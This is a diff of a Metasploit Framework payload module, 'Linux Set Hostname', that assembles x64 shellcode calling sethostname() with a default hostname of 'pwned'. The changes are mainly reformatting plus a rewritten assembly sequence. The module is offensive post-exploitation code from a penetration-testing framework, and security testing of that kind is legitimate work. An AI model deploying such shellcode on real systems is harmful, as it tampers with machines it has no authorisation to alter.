33# Current source: https://github.com/rapid7/metasploit-framework
44##
55
6- module MetasploitModule
7-
6+ module MetasploitModule
87 CachedSize = 28
9-
8+
109 include Msf ::Payload ::Single
1110 include Msf ::Payload ::Linux
1211
1312 def initialize ( info = { } )
14- super ( update_info ( info ,
15- 'Name' => 'Linux Set Hostname' ,
16- 'Description' => 'Sets the hostname of the machine.' ,
17- 'Author' => 'Muzaffer Umut ŞAHİN <[email protected] >' , 18- 'License' => MSF_LICENSE ,
19- 'Platform' => 'linux' ,
20- 'Arch' => ARCH_X64 ,
21- 'Privileged' => true
22- ) )
13+ super (
14+ update_info (
15+ info ,
16+ 'Name' => 'Linux Set Hostname' ,
17+ 'Description' => 'Sets the hostname of the machine.' ,
18+ 'Author' => 'Muzaffer Umut ŞAHİN <[email protected] >' , 19+ 'License' => MSF_LICENSE ,
20+ 'Platform' => 'linux' ,
21+ 'Arch' => ARCH_X64 ,
22+ 'Privileged' => true
23+ )
24+ )
2325
2426 register_options (
2527 [
26- OptString . new ( 'HOSTNAME' , [ true , 'The hostname to set.' , 'pwned' ] )
27- ] )
28+ OptString . new ( 'HOSTNAME' , [ true , 'The hostname to set.' , 'pwned' ] )
29+ ]
30+ )
2831 end
2932
3033 def generate ( _opts = { } )
3134 hostname = ( datastore [ 'HOSTNAME' ] || 'pwned' ) . gsub ( /\s +/ , '' ) # remove all whitespace from hostname.
3235 length = hostname . length
3336 if length > 0xff
34- fail_with ( Msf ::Module ::Failure ::BadConfig , " HOSTNAME must be less than 255 characters." )
37+ fail_with ( Msf ::Module ::Failure ::BadConfig , ' HOSTNAME must be less than 255 characters.' )
3538 end
3639
37- payload = %Q^
38- xor rax, rax
39- xor rsi, rsi
40- push rax ; push the null byte of the hostname string to stack.
41- mov al, 170 ; sethostname() syscall number.
40+ payload = %^
41+ push 170 ; sethostname() syscall number.
42+ pop rax
4243 jmp str
4344
4445 end:
45- mov sil, #{ length }
46+ push #{ length }
47+ pop rsi
4648 pop rdi ; rdi points to the hostname string.
4749 syscall
4850 ret ; break the loop by causing segfault.
@@ -52,6 +54,6 @@ def generate(_opts = {})
5254 db "#{ hostname } "
5355 ^
5456
55- Metasm ::Shellcode . assemble ( Metasm ::X64 . new , payload ) . encode_string
57+ Metasm ::Shellcode . assemble ( Metasm ::X64 . new , payload ) . encode_string
5658 end
57- end
59+ end
0 commit comments